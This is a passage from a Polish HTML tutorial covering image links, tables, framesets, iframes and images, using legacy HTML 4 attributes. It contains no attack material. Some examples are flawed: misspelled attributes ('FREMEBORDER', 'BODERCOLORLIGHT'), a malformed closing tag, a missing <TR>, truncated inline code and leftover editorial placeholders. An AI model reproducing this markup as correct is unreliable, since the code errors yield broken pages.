Podstawowy odsyłacz obrazkowy `<A HREF="adres"><IMG SRC="ścieżka dostępu do obr`
gdzie jako "ścieżka dostępu" należy podać lokalizację na dysku, gdzie znajduje się żądany obrazek. Zasady wpisywania adresu są analogiczne jak w przypadku odsyłaczy do: podstrony, etykiety, adresu internetowego, poczty e-mail czy dowolnych innych odsyłaczy (w zależności od wybranego typu odsyłacza). Odsyłacz ten zostanie uruchomiony, gdy klikniemy myszką obrazek, do którego podajemy ścieżkę dostępu. Dzięki niemu możemy stworzyć np. efektowne przyciski odsyłaczowe w menu strony. Obrazki przycisków najlepiej zapisywać w formacie GIF. Jeśli nie masz zacięcia artystycznego, nie musisz samodzielnie rysować wszystkich grafik. W Internecie na pewno znajdziesz wiele stron, gdzie możesz darmowo pobrać gotowe przyciski.

Aby usunąć obramowanie wokół obrazka, należy wpisać `<A HREF="..."><IMG SRC="..." BORD`
Możliwe jest również podanie tekstu alternatywnego, który może pojawić się po wskazaniu obrazka myszką. Jest to przede wszystkim informacja dla przeglądarek tekstowych, które nie wyświetlają

[6] tzn. będzie miała duże kłopoty aby je odczytać, bo jak wiadomo, nie ma pewnych metod szyfrowania (przyp. red.)

grafiki. Dzięki temu również w takich przeglądarkach możliwe będzie używanie odsyłacza obrazkowego, chociaż grafika nie zostanie wyświetlona. Aby zastosować taki efekt, należy dla znacznika IMG określić atrybut ALT="tekst".

7.5 Tabele

7.5.1 Struktura tabeli

```
<TABLE>
<TR>
     <TD>...</TD>      <TD>...</TD>
</TR>
<TR>
     <TD>...</TD>      <TD>...</TD>
</TR>
</TABLE>
```

Jest to najprostsza tabela, gdzie `<TABLE>...</TABLE>` są znacznikami tabeli, `<TR>...</TR>` znacznikami wiersza, a `<TD>...</TD>` znacznikiem pojedynczej komórki. Powyższe polecenia tworzą tabelę, złożoną z dwóch kolumn i dwóch wierszy (razem cztery komórki). Jeśli to konieczne, możliwe jest dodanie nowych kolumn (poprzez wpisanie dodatkowych znaczników TD) lub wierszy (znaczniki TR). Należy przy tym zauważyć, że komórki tabeli (TD) znajdują się wewnątrz znacznków wierszy (TR)! Ważne jest też, że ilość komórek w każdym wierszu musi być taka sama!

7.5.2 Obramowanie

<TABLE BORDER>...</TABLE> lub <TABLE BORDER="x">...</TABLE>, gdzie "x" oznacza grubość zewnętrznej ramki tabeli (w pikselach). Pierwsze z poleceń jedynie wprowadza obramowanie tabeli (pionowe i poziome linie dzielące poszczególne wiersze oraz komórki) o szerokości domyślnej, natomiast drugie pozwala dodatkowo określić szerokość zewnętrznej części obramowania.

Przykład:

```
<TABLE BORDER="10">
<TR>
  <TD>komórka1</TD>  <TD>komórka2</TD>
</TR>
<TR>
  <TD>komórka3</TD>  <TD>komórka4</TD>
</TR>
</TABLE>
```

++++++++odnosnik do zrzutu: tableborder.html++++++++++++

7.5.3 Marginesy w komórkach

<TABLE BORDER CELLPADDING="x">...</TABLE> gdzie "x" oznacza szerokość marginesu (w pikselach). Komenda wprowadza dodatkowe marginesy (poziome i pionowe) we wszystkich komórkach tabeli, przez co wygląda ona bardziej estetycznie.

Przykład: BORDER="5" CELLPADDING="10"

++++++++++++++odnośnik: margines.html+++++++++++++++

7.5.4 Odstępy między komórkami

<TABLE BORDER CELLSPACING="x">...</TABLE>

gdzie "x" oznacza długość odstępu między sąsiednimi komórkami (w pikselach).

Znacznik ten umożliwia wprowadzenie dodatkowych odstępów pomiędzy wszystkimi sąsiadującymi komórkami tabeli.

Przykład:

BORDER="5" CELLSPACING="10"

++++++++++++++++++++odnośnik: odstepy.html++++++++++

7.5.5 Komórki nagłówkowe

Nagłówek poziomy

```
<TABLE>
<TR>
     <TH>...</TH>      <TH>...</TH>
</TR>
<TR>
     <TD>...</TD>      <TD>...</TD>
</TR>
</TABLE>
```

Nagłówek pionowy:

```
<TABLE>
<TR>
     <TH>...</TH>      <TD>...</TD>
</TR>
<TR>
     <TH>...</TH>      <TD>...</TD>
</TR>
</TABLE>
```

Nagłówek mieszany:

```
<TABLE>
<TR>
     <TH></TH>      <TH>...</TH>      <TH>...</TH>
</TR>
<TR>
     <TH>...</TH>      <TD>...</TD>      <TD>...</TD>
</TR>
<TR>
     <TH>...</TH>      <TD>...</TD>      <TD>...</TD>
</TR>
</TABLE>
```

Komórka nagłówkowa <TH> ma takie samo znaczenie jak zwykła komórka tabeli <TD>. Różni się jedynie tym, że tekst do niej wpisany, jest napisany zwykle czcionką pogrubioną oraz ustawiony na środku (wyśrodkowany). Dlatego właśnie — jak sama nazwa wskazuje — komórka taka nadaje się do

tworzenia nagłówka tabeli. Może się ona znajdować w dowolnym wierszu — nie tylko w pierwszym. Dodatkowo w wierszu takim mogą się znajdować również inne zwykłe komórki <TD>. Dzięki temu możemy stworzyć pionowy nagłówek, znajdujący się np. na lewym brzegu tabeli.

7.5.6 Tytuł tabeli

<TABLE> <CAPTION ALIGN="ustawienie">Tu podaj tytuł</CAPTION> (...) </TABLE> gdzie jako "ustawienie" należy podać:

- top — tytuł górny (domyślnie),
- bottom — tytuł dolny,
- left — ustawienie przy lewej krawędzi tabeli,
- right — przy prawej krawędzi,
- center — na środku.

Polecenie to stwarza Ci możliwość nadania tytułu tabeli, który może być umiejscowiony na górze (domyślnie) lub na dole tabeli.

7.5.7 Wymiary

1. Wymiary całej tabeli: <TABLE WIDTH="x" HEIGHT="y">...</TABLE> lub <TABLE WIDTH="x%" HEIGHT="y%">...</TABLE>

2. Wymiary pojedynczej komórki: <TD WIDTH="x" HEIGHT="y">...</TD>

We wszystkich przypadkach "x" oznacza szerokość w pikselach, a "x%" szerokość w procentach całego ekranu. Analogicznie "y" oraz "y%" oznaczają wysokość.

Komenda pozwala narysować tabelę o dokładnie zamierzonych wymiarach (długości i wysokości). Jeśli zależy nam na tym, aby nasza tabela wyglądała zawsze tak samo (niezależnie od rozdzielczości ekranu), powinniśmy podawać wymiary w procentach powierzchni ekranu (x%, y%). Natomiast jeżeli tabela ma mieć stały rozmiar bezwzględny (zawsze tyle samo pikseli), musimy podawać długość i wysokość w pikselach ekranowych (x, y). Oczywiście jeśli określimy wysokość/szerokość pojedynczej komórki, spowoduje to ustalenie takiej samej wysokości/szerokości dla całego wiersza/kolumny.

7.5.8 Wyrównanie tabeli

<TABLE ALIGN="rodzaj">...</TABLE> gdzie jako "rodzaj" należy wpisać:

- "left" — wyrównanie tabeli do lewej strony (domyślnie), względem otaczającego tekstu,
- "right" — wyrównanie tabeli do prawej strony, względem otaczającego tekstu
- lub "center" — wyśrodkowanie tabeli.

Polecenie to pozwala umiejscowić tabelę w wybranym przez nas miejscu na ekranie.

7.5.9 Wyrównanie zawartości tabeli

1. Wyrównanie zawartości całego wiersza: <TR ALIGN="rodzaj" VALIGN="ustawienie">...</TR>
2. Wyrównanie zawartości pojedynczej komórki: <TD ALIGN="rodzaj" VALIGN="ustawienie">...</TD>
W obu przypadkach jako "rodzaj" należy wpisać:

- "left" — wyrównanie zawartości (wiersza lub komórki) do lewej (domyślnie),
- "right" — wyrównanie zawartości do prawej lub
- "center" — wyśrodkowanie zawartości.

Natomiast jako "ustawienie" podaj:

- "top" — ustawienie zawartości (wiersza lub komórki) na górze,
- "bottom"" — ustawienie zawartości na dole
- lub "middle" — ustawienie zawartości po środku (domyślnie).

Dzięki tym poleceniom możliwe jest podanie umiejscowienia zawartości całego wiersza tabeli, jak również pojedynczej komórki.

7.5.10 Kolor tła

1. W całej tabeli: <TABLE BGCOLOR="kolor">...</TABLE>
2. W jednym wierszu: <TR BGCOLOR="kolor">...</TR>
3. W pojedynczej komórce: <TD BGCOLOR="kolor">...</TD>
We wszystkich przypadkach jako "kolor" należy podać definicję koloru

7.5.11 Tło obrazkowe

1. W całej tabeli: <TABLE BACKGROUND="ścieżka dostępu">...</TABLE>
2. W pojedynczej komórce: <TD BACKGROUND="ścieżka dostępu">...</TD>
Polecenie pozwala na podanie obrazka, który zostanie umieszczony w tle całej tabeli bądź w pojedynczej komórce. We wszystkich przypadkach jako "ścieżka dostępu" należy podać lokalizację na dysku, gdzie znajduje się żądany obrazek.

7.5.12 Kolor obramowania

(tylko Internet Explorer!)
1. W całej tabeli: 1. <TABLE BORDERCOLOR="kolor">...</TABLE>
2. <TABLE BORDERCOLORLIGHT="kolor1">...</TABLE>
3. <TABLE BORDERCOLORDARK="kolor2">...</TABLE>
2. W jednym wierszu: 1. <TR BORDERCOLOR="kolor">...</TR>
2. <TR BODERCOLORLIGHT="kolor1">...</TR>
3. <TR BORDERCOLORDARK="kolor2">...</TR>
3. W pojedynczej komórce: 1. <TD BORDERCOLOR="kolor">...</TD>
2. <TD BORDERCOLORLIGHT="kolor1">...</TD>
3. <TD BORDERCOLORDARK="kolor2">...</TD>
We wszystkich przypadkach jako "kolor, kolor1, kolor2" należy podać definicję koloru.

- "kolor" oznacza kolor, jaki będzie miało całe obramowanie
- "kolor1" oznacza kolor, jaki będzie miała "oświetlona" część tabeli (lewa oraz górna krawędź obramowania — BORDERCOLORLIGHT)
- "kolor2" oznacza kolor, jaki będzie miała "ocieniona" część tabeli (prawa oraz dolna krawędź obramowania — BORDERCOLORDARK)

Polecenie to umożliwia Ci podanie koloru obramowania tabeli (jako całości, a także w pojedynczych komórkach). Możesz również zdefiniować kolor cieni w komórkach (standardowo są one kolorów odpowiednio szarego — cień, białego — oświetlenie).

7.5.13 Blokada zawijania tekstu

<TD NOWRAP>...</TD> Polecenia takie pozwala zablokować automatyczne zawijanie wierszy w wybranych komórkach tabeli, dzięki czemu mogą się w nich znajdować dowolnie długie linijki. Przełamanie linii i przeniesienie tekstu do następnego wiersza, może nastąpić tylko po wstawieniu znacznika
. Należy jednak uważnie stosować powyższe polecenie — przesadnie długie komórki tabeli mogą utrudnić czytanie i nie wyglądają estetycznie.

7.5.14 Łączenie komórek

1. Poziome łączenie komórek: <TD COLSPAN="x">...</TD> gdzie "x" oznacza liczbę komórek do połączenia w poziomie.

2. Pionowe łączenie komórek: <TD ROWSPAN="y">...</TD> gdzie "y" oznacza liczbę komórek do połączenia w pionie.

Polecenie to pozwala na poziome lub pionowe łączenie komórek w tabeli, dzięki czemu jedna komórka (połączona) może się rozciągać na kilka komórek pojedynczych.

7.5.15 Łączenie wierszy w grupy

<TABLE> <TBODY> <TR>...</TR> </TBODY> </TABLE>

Łączenie wierszy w grupy umożliwia później odnoszenie się do takiej grupy jako do całości. Dzięki temu możemy nadać od razu całej grupie:

1. Określony rodzaj formatowania — ustawienie tekstu w komórkach: <TBODY ALIGN="rodzaj" VALIGN="ustawienie">...</TBODY>

2. Kolor tła (nie obsługuje Opera 7): <TBODY BGCOLOR="kolor">...</TBODY>

3. Usunąć część krawędzi wewnętrznych w tabeli:

W grupę można połączyć dowolną liczbę wierszy. W jednej tabeli może istnieć kilka grup.

Przykład:

```
<TABLE BORDER WIDTH="100%" HEIGHT="150">
<TR>
  <TD>komórka1</TD>  <TD>komórka2</TD>  <TD>komórka3</TD>
</TR>
<TBODY ALIGN="center" VALIGN="top" BGCOLOR="aqua">
<TR>
  <TD>komórka4>/TD>  <TD>komórka5</TD>  <TD>komórka6</TD>
</TR>
</TBODY>
```

```
<TR>
  <TD>komórka7</TD>  <TD>komórka8</TD>  <TD>komórka9</TD>
</TR>
</TABLE>
```

++++++++++++++++W praktyce: grupa.html++++++++++++++

7.5.16 Łączenie kolumn w grupy

<TABLE> <COLGROUP SPAN="x"> <TR>...</TR> </TABLE>

gdzie "x" oznacza ilość kolumn do połączenia w grupę. Jeśli całkowicie pominiemy atrybut SPAN, przyjmie on domyślną wartość "1". Łączenie kolumn w grupy umożliwia później odnoszenie się do takiej grupy jako do całości. Dzięki temu możemy nadać od razu całej grupie:

1. Określony rodzaj formatowania — ustawienie tekstu w komórkach (nie obsługuje Netscape 7 i Opera 6): <COLGROUP SPAN="x" ALIGN="rodzaj" VALIGN="ustawienie">

2. Kolor tła (nie obsługuje Netscape 7 i Opera 7): <COLGROUP SPAN="x" BGCOLOR="kolor">

3. Usunąć część krawędzi wewnętrznych w tabeli: W grupę można połączyć dowolną liczbę kolumn. W jednej tabeli może istnieć kilka grup.

Przykład:

```
<TABLE BORDER WIDTH="100%" HEIGHT="150">
<COLGROUP SPAN="1">
<COLGROUP SPAN="1" ALIGN="center" VALIGN="top" BGCOLOR="aqua">
<TR>
   <TD>komórka1</TD>  <TD>komórka2</TD>  <TD>komórka3</TD>
</TR>
<TR>
   <TD>komórka4</TD>  <TD>komórka5</TD>  <TD>komórka6</TD>
</TR>
<TR>
   <TD>komórka7</TD>  <TD>komórka8</TD>  <TD>komórka9</TD>
</TR>
</TABLE>
```

++++++++++++++W praktyce: laczenie.html++++++++++++

7.5.17 Krawędzie

Zewnętrzne

`<TABLE BORDER FRAME="typ">...</TABLE>`, gdzie jako "typ" należy podać:

- "void" — usuwa zewnętrzne obramowanie,
- "above" — tylko górna krawędź,
- "below" — tylko dolna krawędź,
- "lhs" — tylko lewa krawędź,
- "rhs" — tylko prawa krawędź,

- "vsides" — tylko pionowe krawędzie,
- "hsides" — tylko poziome krawędzie,
- "box" — wszystkie krawędzie zewnętrzne (domyślnie).

Wewnętrzne

`<TABLE BORDER RULES="typ">...</TABLE>`, gdzie jako "typ" należy podać:

- "none" — usuwa wszystkie wewnętrzne krawędzie,
- "rows" — tylko poziome krawędzie w środku tabeli,
- "cols" — tylko pionowe krawędzie w środku tabeli,
- "all" — wszystkie krawędzie wewnętrzne (domyślnie),
- "groups" — wybrane krawędzie wewnętrzne (grupy).

Przykład:

```
<TABLE BORDER="7" CELLPADDING="10" RULES="groups">
<COLGROUP SPAN="1">
<COLGROUP SPAN="3">
<TBODY>
<TR>
  <TD>komórka1</TD>  <TD>komórka2</TD>  <TD>komórka3</TD>
</TR>
</TBODY>
<TR>
  <TD>komórka4</TD>  <TD>komórka5</TD>  <TD>komórka6</TD>
</TR>
<TR>
  <TD>komórka7</TD>  <TD>komórka8</TD>  <TD>komórka9</TD>
</TR>
</TABLE>
```

++++++++++++++W praktyce: krawedzie.html+++++++++

7.5.18 Zagnieżdżanie tabel

```
<TABLE>
<TR>
     <TD>
          <TABLE>
          <TR>
               <TD>...</TD>
          </TR>
          </TABLE>
     </TD>
</TR>
</TABLE>
```

Przykład:

```
<TABLE BORDER="10" CELLPADDING="10" CELLSPACING="10">
<TR>
  <TD>
    <TABLE BORDER="5">
    <TR>
      <TD>komórka1A</TD>  <TD>komórka1B</TD>
    </TR>
    <TR>
      <TD>komórka1C</TD>  <TD>komórka1D</TD>
    </TR>
    </TABLE>
  </TD>
  <TD>komórka2</TD>
</TR>
  <TD>komórka3</TD>  <TD>komórka4</TD>
</TR>
</TABLE>
```

++++++++++++++++++W praktyce: talbelkag.html++++++++++++

7.6 Ramki

RAMKI

7.6.1 Znacznik FRAMESET

`<FRAMESET>...</FRAMESET>` W tym znaczniku zawierają się całe ramy struktury strony z ramkami. Należy go wpisywać zawsze bezpośrednio po znaczniku zamykającym </HEAD>. Wewnątrz znacznika (otwierającego) <FRAMESET> wpisuje się następujące atrybuty:

<FRAMESET COLS="x1,x2,...">...</FRAMESET> lub <FRAMESET COLS="x1%,x2%,...">...</FRAMES
gdzie "x1, x2,..." oznaczają szerokość kolejnych kolumn (począwszy od lewej strony) w pikselach, natomiast "x1%, x2%,..." oznaczają szerokość kolejnych kolumn w procentach całego ekranu. W miejsce kropek można wpisać dalsze wartości; w razie podania tylko dwóch liczb, kropki oraz końcowy przecinek należy pominąć. W większości przypadków bardziej przydatne okazują się wartości pikselowe (np. tworzenie ramki z menu lub bannerem).

Z wartości pikselowych można skorzystać np. wtedy, gdy w jednej ramce umieszczamy menu z graficznymi przyciskami, które mają ustaloną szerokość (w pikselach). W takim przypadku, niezależnie od rozdzielczości ekranu, ramka z przyciskami będzie miała zawsze taką samą szerokość, dzięki czemu nie będą one nigdy schowane, (przy mniejszych rozdzielczościach) ani nie pozostanie puste miejsce (w wyższych rozdzielczościach). Natomiast z wartości procentowych warto skorzystać, jeśli zależy nam, aby okno przeglądarki było zawsze podzielone w takich samych proprocjach (np. 1:4).

Możliwe jest również podanie znaku "*" (gwiazdka). Jeśli np. wpiszemy: "50,100,150,*", a rozdzielczość ekranu wynosi 800x600, to strona zostanie podzielona na cztery kolumny o szerokościach odpowiednio: 50, 100, 150 oraz (800 — 50 — 100 — 150 = 500) pikseli. Zatem znak "*" oznacza dopełnienie do pełnej rozdzielczości ekranu. Możliwe byłoby oczywiście wpisanie zamiast tego: "50,100,150,500", ale jeśli ktoś pracuje w innej rozdzielczości ekranu, efekt mógłby być niezamierzony. Dlatego podczas podawania wymiarów ramek w pikselach, staraj się zawsze użyć przynajmniej

jednej "gwiazdki"! Znak "gwiazdki" można również wpisać w przypadku wartości procentowych (np.: "10%,30%,*"). Wtedy oznacza on dopełnienie do 100% szerokości całego ekranu (czyli w tym wypadku "10%,30%,60%").

Dopuszczalne jest również podanie kilku znaków "gwiazdek". Można wtedy wykorzystać tzw. współczynniki proporcjonalności. Przykładowo: wpisanie "25%,1*,2*,15%" (lub "25%,*,2*,15%") spowoduje wyświetlenie czterech ramek o rozmiarach odpowiednio: 25%, [(100% — 25% — 15%) / (1 + 2)] * 1 = 20%, [(100% — 25% — 15%) / (1 + 2)] * 2 = 40%, 15%. Liczby 1 oraz 2 są właśnie współczynnikami proporcjonalności.

Zasady obliczania wymiarów ramek, dla których podane zostały "gwiazdki" są następujące:

- Najpierw od całej rozdzielczości ekranu odejmujemy sumaryczny rozmiar wszystkich ramek, których wymiary zostały podane bezpośrednio bez "gwiazdek": 100% — 25% — 15% = 60%
- Następnie uzyskaną długość dzielimy przez sumę wartości wszystkich współczynników proporcjonalności: 60% / (1 + 2) = 20%
- Na końcu obliczony wynik mnożymy przez każdy ze współczynników proporcjonalności: 20% * 1 = 20% (druga ramka), 20% * 2 = 40% (trzecia ramka).

Wiersze: <FRAMESET ROWS="y1,y2,...">...</FRAMESET> lub <FRAMESET ROWS="y1%,y2%,...">...</FRAM
gdzie "y1, y2,..." oznaczają wysokość kolejnych wierszy (począwszy od góry) w pikselach, natomiast "y1%, y2%,..." oznaczają wysokość kolejnych wierszy w procentach całego ekranu. W miejsce kropek można wpisać dalsze wartości. Podobnie jak w przypadku kolumn możliwe jest podanie znaku gwiazdki "*", jako dopełnienie do pełnej wysokości ekranu, a także użycie współczynników proporcjonalności.

Kolor obramowania (Internet Explorer i Netscape 6): <FRAMESET BORDERCOLOR="kolor">...</FRAMESET>
gdzie "kolor" oznacza definicję koloru

Szerokość obramowania: <FRAMESET BORDER="x">...</FRAMESET> gdzie "x" oznacz szerokość obramowania dzielącego sąsiadujące ramki (w pikselach).

Schowanie obramowania dzielącego ramki (Internet Explorer): <FRAMESET FREMEBORDER="typ">...</FRAM
gdzie jako "typ" należy wpisać:

- "0" (lub "no") — schowanie obramowania,
- "1" (lub "yes") — pokazanie obramowania (domyślnie).

7.6.2 Znacznik FRAME

<FRAMESET> <FRAME SRC="ścieżka dostępu do strony" NAME="Tu podaj nazwę ramki"> </FRAMESET>

gdzie jako "ścieżka dostępu do strony" należy podać lokalizację na dysku, gdzie znajduje się strona, która na starcie ma zostać wczytana do ramki. Natomiast jako "Tu podaj nazwę ramki" można wpisać dowolną nazwę, jaką ma otrzymać ramka

Podanie nazwy ramki umożliwi później wczytywanie do niej stron, przy użyciu odsyłaczy, znajdujących się w innych ramkach (np. w menu). Można w takim przypadku uniknąć wczytywania strony do ramki, w której znajduje się np. menu i "zmusić" przeglądarkę, aby wczytała ją do tej ramki, do której chcemy. Należy pamiętać, aby każda z tworzonych ramek miała inną nazwę!

Polecenie to pozwala zdefiniować parametry poszczególnych ramek, a także podać jakie strony mają zostać tam załadowane przy starcie ("ścieżka dostępu do strony"). Możliwe jest tutaj zastosowanie dodatkowych atrybutów:

Kolor obramowania (Internet Explorer): <FRAME BORDERCOLOR="kolor"> gdzie "kolor" oznacza definicję koloru

Przewijanie zawartości ramki: <FRAME SCROLLING="typ"> gdzie jako "typ" należy podać:

- "yes" — umożliwia przewijanie zawartości ramki,
- "no" — ramka nie będzie przewijana lub
- "auto" — ramka będzie przewijana (pojawią się suwaki), gdy jej zawartość nie zmieści się w całości na ekranie (domyślnie).

Zabezpieczenie przed zmianą rozmiarów ramki: <FRAME NORESIZE> Taka ramka nie będzie skalowana, czyli nie będzie możliwa zmiana jej rozmiarów przez przeciągnięcie myszką.

Dodatkowe marginesy: <FRAME MARGINWIDTH="x" MARGINHEIGHT="y"> gdzie "x" oznacza szerokość marginesu poziomego, a "y" oznacza wysokość marginesu pionowego (w pikselach).

Schowanie obramowania dzielącego ramki: <FRAME FREMEBORDER="typ"> gdzie jako "typ" należy wpisać:

- "0" (lub "no") — schowanie obramowania,
- "1" (lub "yes") — pokazanie obramowania (domyślnie).

7.6.3 Znacznik NOFRAMES

(lek na przeglądarki nie obsługujące ramek)

<NOFRAMES>Treść alternatywna</NOFRAMES>. Między znacznikami <NOFRAMES> oraz </NOFRAMES> umieszcza się polecenia, które mają zostać wykonane w przypadku, gdy przeglądarka internetowa użytkownika nie akceptuje ramek. Może to być np. podanie odsyłacza do strony alternatywnej (bez ramek) albo spis treści z odnośnikami do wszystkich stron serwisu.

Ważne: Umieszczanie znacznika NOFRAMES umożliwia uzytkownikom posiadającym starsze przeglądarki oglądanie strony!

7.6.4 Wczytanie strony do ramki

<A TARGET="cel" HREF="Tu podaj ścieżkę dostępu do strony">Opis</A>

Jak widać powyższe polecenie jest odsyłaczem. Posiada on jednak dodatkowy atrybut TARGET="...", pozwalający wczytać stronę do wybranej przez nas ramki, w szczególności innej niż ta, w której znajduje się odnośnik (przydatne przy tworzeniu spisu treści).

Zamiast tekstu "Tu podaj ścieżkę dostępu do strony" należy podać lokalizację na dysku, gdzie znajduje się strona, do której chcemy się przenieść.

Natomiast jako "cel" należy podać:

1. "nazwę ramki", do której ma zostać załadowana strona (nazwę ramki definiuje się wcześniej na stronie startowej w znaczniku FRAME). Jeśli strona ma zostać wczytana do tej samej ramki, w której znajduje się odsyłacz, można pominąć atrybut TARGET.

   Podanie nazwy ramki jest przydatne, w przypadku tworzenia strony, składającej się z kilku ramek, z których jedna zostanie przeznaczona na menu z odsyłaczami do wszystkich podstron serwisu. Wtedy właśnie, aby po kliknięciu odnośnika z menu, strona została wczytana nie do menu, lecz do innej przeznaczonej na to ramki, należy użyć tego polecenia. W przypadku zwykłych odsyłaczy znajdujących się na normalnych stronach, pomija się ten atrybut.

Jeśli podamy nazwę ramki, która nie istnieje, spowoduje to otworzenie nowego okna. Następnie będzie można do niego wczytywać dokumenty, podając tą samą nazwę (jeśli użytkownik wcześniej go nie zamknie).

2. Polecenia specjalne:

   - "_self" — strona zostanie załadowana do bieżącej ramki, czyli do tej na której został wpisany powyższy odsyłacz (domyślnie — można pominąć ten atrybut, a efekt będzie ten sam),
   - "_top" — strona zostanie wstawiona w miejsce dokumentu pierwszego w hierarchii (strony głównej),
   - "_parent" — strona zostanie wstawiona w miejsce dokumentu nadrzędnego w hierarchii, czyli w miejsce strony startowej struktury ramek, w której znajduje się dany odsyłacz (w przypadku większej ilości zagnieżdżonych stron startowych),
   - "_blank" — strona zostanie załadowana w nowym oknie (uruchomi nową kopię przeglądarki).

7.6.5 Zagnieżdżanie ramek

```
<FRAMESET COLS="x1,x2,... ,*">
     <FRAME NAME="Nazwa_ramki_1" SRC="adres strony 1">
     <FRAMESET ROWS="y1%,... ,*">
          <FRAME NAME="Nazwa_ramki_2" SRC="adres strony 2">
          (...)
          <FRAME NAME="Nazwa_ramki_3" SRC="adres strony 3">
     </FRAMESET>
     (...)
     <FRAME NAME="Nazwa_ramki_4" SRC="adres strony 4">
</FRAMESET>
```

Dzięki zagnieżdżaniu ramek możliwe jest zbudowanie struktury, w której jedna ramka będzie umieszczona wewnątrz drugiej. Można np. ramkę która jest kolumną, podzielić następnymi ramkami dodatkowo na wiersze. Zasada zagnieżdżania polega na zastąpieniu dowolnego znacznika FRAME, będącego pojedynczą ramką, nowym znacznikiem FRAMESET, wewnątrz którego mogą znajdować się dalsze ramki (FRAME).

Zauważ, że w składni polecenia powyżej, struktura ramek (FRAMESET) która jest podrzędna została bardziej wcięta (przesunięta w prawo) niż nadrzędna. Nie jest to konieczne, ale bardzo ułatwia tworzenie i czytanie kodu, dlatego polecam używanie takiego sposobu wpisywania.

7.6.6 Ramki lokalne

- pływające (ang. inline)

(obsługuje Internet Explorer 3, Netscape 6, Opera 5)

<IFRAME SRC="ścieżka dostępu do strony">Twoja przeglądarka nie akceptuje ramek!</IFRAME>

gdzie jako "ścieżka dostępu do strony" należy podać lokalizację na dysku, gdzie znajduje się strona, która na starcie ma zostać wczytana do ramki.

Ramki lokalne są umieszczane bezpośrednio na stronie w postaci pojedynczych okienek o różnych rozmiarach. Dzięki temu możemy do takiej ramki wczytywać inne dokumenty. Tekst "Twoja

przeglądarka nie akceptuje ramek", który można wpisać między znacznikiem otwierającym a zamykającym (patrz powyżej), ukaże się, jeśli przeglądarka internetowa użytkownika nie akceptuje ramek lokalnych. Oczywiście można tutaj wpisać dowolny tekst, albo też umieścić odsyłacz do strony alternatywnej — bez ramek. W przypadku ramek lokalnych stosuje się dodatkowe atrybuty:

Rozmiar ramki (lokalnej): <IFRAME SRC="ścieżka dostępu" WIDTH="x" HEIGHT="y">...</IFRAME> lub <IFRAME SRC="ścieżka dostępu" WIDTH="x%" HEIGHT="y%">...</IFRAME> gdzie "x" oznacza szerokość w pikselach, a "y" oznacza wysokość (również w pikselach). Natomiast "x%" oznacza szerokość w procentach całego ekranu, a "y%" oznacza wysokość (również w procentach).

Nazwa ramki lokalnej: <IFRAME SRC="ścieżka dostępu" NAME="Tu wpisz nazwę ramki">...</IFRAME> Nadanie nazwy ramce, umożliwia później wczytywanie do niej innych stron

Usunięcie obramowania: <IFRAME SRC="ścieżka dostępu" FRAMEBORDER="0">...</IFRAME>

Usunięcie suwaka do przewijania zawartości ramki: <IFRAME SRC="ścieżka dostępu" SCROLLING="no">...</IFRAME>

Dodatkowe marginesy wewnątrz ramki: <IFRAME SRC="ścieżka dostępu" MARGINWIDTH="x" MARGINHEIGHT="y">...</IFRAME> gdzie "x" oznacza szerokość marginesu poziomego, a "y" oznacza wysokość marginesu pionowego (w pikselach).

Odległość ramki od sąsiadujących elementów strony (nie obsługuje Netscape 7 i Opera 6): <IFRAME SRC="ścieżka dostępu" HSPACE="x" VSPACE="y">...</IFRAME> gdzie "x" oznacza poziomą odległość w pikselach, a "y" pionową odległość (również w pikselach).

Ustawienie ramki lokalnej na stronie: <IFRAME SRC="ścieżka dostępu" ALIGN="rodzaj">...</IFRAME> gdzie jako "rodzaj" należy wpisać:

- "left" — ramka ustawiona po lewej stronie, względem otaczającego tekstu,
- "right" — ramka ustawiona po prawej stronie względem tekstu,
- "top" — tekst ustawiony na górze ramki,
- "middle" — tekst ustawiony na średniej wysokości względem ramki lub
- "bottom" — tekst ustawiony na dole ramki (domyślnie) .

7.6.7 Gotowiec — czyli kod źródłowy ramki

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=iso-8859-2
  <META NAME="Description" CONTENT="Opis zawartości strony">
  <META NAME="Keywords" CONTENT="Wyrazy kluczowe">
  <META NAME="Author" CONTENT="Autor strony">
  <META HTTP-EQUIV="Content-Language" CONTENT="pl">
  <TITLE>Tytuł strony</TITLE>
</HEAD>
<FRAMESET COLS="180,*" BORDER="0" FRAMEBORDER="0" FRAMESPACING="0">
  <FRAME NAME="spis" NORESIZE FRAMEBORDER="0" SRC="spis.html">
  <FRAME NAME="strona" NORESIZE FRAMEBORDER="0" SRC="home.html">
  <NOFRAMES><A HREF="spis.html">Spis treści</A></NOFRAMES>
</FRAMESET>
</HTML>
```

W miejsce wyrażeń pomiędzy znacznikami wpisać:

- Opis zawartości strony — niezbyt długi opis zawartości strony
- Wyrazy kluczowe — wyrazy kluczowe rozdzielone przecinkami
- Autor strony — Twoje imię i nazwisko (jeśli chcesz zaznaczyć, kto jest autorem strony — jeśli nie chcesz, usuń całą tą linijkę)
- Tytuł strony — tutaj wpisz tytuł Twojej strony
- 180 — szerokość lewej ramki — okienka ("Spis treści") podana w pikselach; dozwolone jest również podanie wartości procentowej (np.: 25%), ale wtedy wygląd strony (rozmiar absolutny lewej ramki) będzie zależał od wielkości okana przeglądarki i rozdzielczości ekranu.

7.7 Multimedia

7.7.1 Obrazek w HTML

Włączenie obrazka do strony nie jest trudne. Jedyne co trzeba zrobić to `<IMG SRC="ścieżka dostępu">`, gdzie jako "ścieżka dostępu" należy podać lokalizację na dysku, gdzie znajduje się żądany obrazek. Aby wstawić obrazek, ale ustalić *a'priori* jego rozmiary należy użyć `<IMG SRC="ścieżka dostępu" WIDTH="x"` gdzie "x" i "y" oznaczają odpowiednio długość i wysokość obrazka w pikselach. Alternatywnie można podać "x%" i "y%", wtedy oznaczać to będzie długość i wysokość w procentach ekranu.

Podawanie rozmiarów grafik może być przydatne przynajmniej z kilku powodów. Jeśli obrazek nie zostanie wczytany, symbol który zajmie jego miejsce będzie miał inne wymiary i może tym samym popsuć ułożenie innych elementów strony. Poza tym jeśli nie wstawimy rozmiarów grafik na stronie, to podczas wczytywania cała treść będzie się "rozjeżdżać". Jeżeli komuś to szczególnie przeszkadza, powinien zawsze określać te atrybuty — to bardzo dobry nawyk. Oczywiście aby obraz nie był zniekształcony, należy podać jego prawdziwe rozmiary w pikselach, a nie w procentach (można je sprawdzić w dowolnym programie graficznym).

Możemy też włączyć obrazek z obramowaniem przy pomocy `<IMG SRC="ścieżka dostępu" BORDER="` gdzie "x" oznacza grubość obramowania (w pikselach).

